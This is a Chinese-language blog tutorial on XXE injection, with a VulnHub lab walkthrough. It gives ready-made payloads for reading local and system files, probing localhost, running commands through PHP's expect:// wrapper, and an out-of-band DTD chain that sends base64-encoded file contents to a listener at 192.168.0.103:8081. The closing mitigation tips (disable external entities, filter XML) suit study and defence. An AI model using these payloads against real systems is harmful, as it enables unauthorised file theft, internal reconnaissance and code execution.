XXE

基础知识

XML 指可扩展标记语言(eXtensible Markup Language)。

  • XML 被设计用来传输和存储数据。
  • HTML 被设计用来显示数据。
  • HTML 旨在显示信息,而 XML 旨在传输信息。

XML 特性:

  • XML 没有预定义的标签,它允许创作者定义自己的标签和自己的文档结构。

XML文档结构包括:

  • XML声明
  • DTD 文档类型定义(可选)
  • 文档元素

XML-DTD 格式如下:

1
2
3
4
5
6
7
8
9
10
11
<!--XML声明-->
<?xml version="1.0" encoding="UTF-8"?>

<!--DTD,这部分可选的-->
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >
]>

<!--文档元素-->
<foo>&xxe;</foo>

DTD - 文档类型定义其使用一系列合法的元素来定义文档的结构。

在 DTD 中,有一个叫 “实体” 的东西,其用于定义引用普通文本或特殊字符的快捷方式的变量。

使用方法如下:

1
2
3
4
5
6
7
8
DTD example:

<!ENTITY writer "Donald Duck.">
<!ENTITY copyright "Copyright runoob.com">

XML example:

<author>&writer;&copyright;</author>

在 DTD 中定义 writer、copyright 实体,然后在下面的 XML 中引用了这 2 给实体,应用格式就是 &实体名; 的格式。

上面的是引用本地 DTD 实体,其还可以从外部引用:

1
2
3
4
5
6
7
8
DTD example:

<!ENTITY writer SYSTEM "http://www.runoob.com/entities.dtd">
<!ENTITY copyright SYSTEM "http://www.runoob.com/entities.dtd">

XML example:

<author>&writer;&copyright;</author>

可以看到上面的实体是从一个 HTTP 链接获取的,且它不仅仅支持 HTTP 还支持如下协议:

image-20230908154850073

可以看到有些协议是可以造成一些攻击的,其实还是 SSRF 那里的协议利用手法。

漏洞原理

XXE 又叫 XML 外部实体注入,从上面可以看到在引用外部实体时,其可以解析一些危险的外部协议,其攻击手法其实就是利用这些协议去操作攻击。

漏洞利用

有回显

读取文件

1
2
3
<?xml version = "1.0"?>
<!DOCTYPE ANY [ <!ENTITY xxe SYSTEM "file:///D:/fuming.txt"> ]>
<x>&xxe;</x>

内网探针

1
2
3
4
5
6
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY rabbit SYSTEM "http://localhost/index.txt" >
]>
<x>&rabbit;</x>

RCE

该 CASE 是在安装 expect 扩展的 PHP 环境里执行系统命令

1
2
3
<?xml version = "1.0"?>
<!DOCTYPE ANY [ <!ENTITY xxe SYSTEM "expect://id" > ]>
<x>&xxe;</x>

引入外部实体 DTD

1
2
3
4
5
6
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://127.0.0.1:8081/evil2.dtd">
%file;
]>
<x>&send;</x>

evil2.dtd:

1
<!ENTITY send SYSTEM "file:///d:/test.txt">

无回显

OOB

先使用 php://filter 获取目标文件的内容,然后将内容以 http 请求发送到接受数据的服务器,接收端通过日志或者构造文件接收数据。

1
2
3
4
5
6
7
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=test.txt">
<!ENTITY % dtd SYSTEM "http://192.168.0.103:8081/test.dtd">
%dtd;
%send;
]>

test.dtd:

1
2
3
4
<!ENTITY % payload
"<!ENTITY &#x25; send SYSTEM 'http://192.168.0.103:8081/?data=%file;'>"
>
%payload;

基于报错

基于报错的原理和OOB类似,OOB通过构造一个带外的url将数据带出,而基于报错是构造一个错误的url并将泄露文件内容放在url中,通过这样的方式返回数据。

所以和OOB的构造方式几乎只有url出不同,其他地方一模一样。

参考链接:https://blog.szfszf.top/tech/blind-xxe-%E8%AF%A6%E8%A7%A3-google-ctf-%E4%B8%80%E9%81%93%E9%A2%98%E7%9B%AE%E5%88%86%E6%9E%90/

靶场练习

实战演练

项目地址:https://download.vulnhub.com/xxe/XXE.zip

image-20221030172237591

1
http://192.168.184.130/

image-20221030172439452

1
http://192.168.184.130/xxe/

登陆:

image-20221030172555936

image-20221030172651850

可以看到是 XML 格式的输入,那么就可以构造 Payload 了:

1
2
3
4
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [ <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php"> ]>
<root>
<name>&xxe;</name><password>fuming</password></root>

读取 admin.php,Base64解密:

1
$flag = "Here is the <a style='color:FF0000;' href='/flagmeout.php'>Flag</a>";

得到 Flag 信息,在 ‘/flagmeout.php’,用 XXE 读一下:

1
2
3
4
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [ <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=./flagmeout.php"> ]>
<root>
<name>&xxe;</name><password>fuming</password></root>

Base64 解码:

image-20221030174058341

这里又是一个 Base32 解码:
image-20221030174455618

解出来又是 Base64:

image-20221030174521850

XXE 读取 flag.php :

1
2
3
4
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [ <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/.flag.php"> ]>
<root>
<name>&xxe;</name><password>fuming</password></root>

image-20221030174741137

直接执行 PHP 文件:

image-20221030175220800

漏洞挖掘

黑盒:看到参数是 XML,或者可以接受 XML 类型的参数即可测试

白盒:寻找解析 XML 的相关函数

漏洞修复

  • 禁用外部实体加载
  • 对 XML 内容进行过滤

XXE
https://liancccc.github.io/2024/03/15/技术/TOP10/XXE 漏洞/
作者
守心
发布于
2024年3月15日
许可协议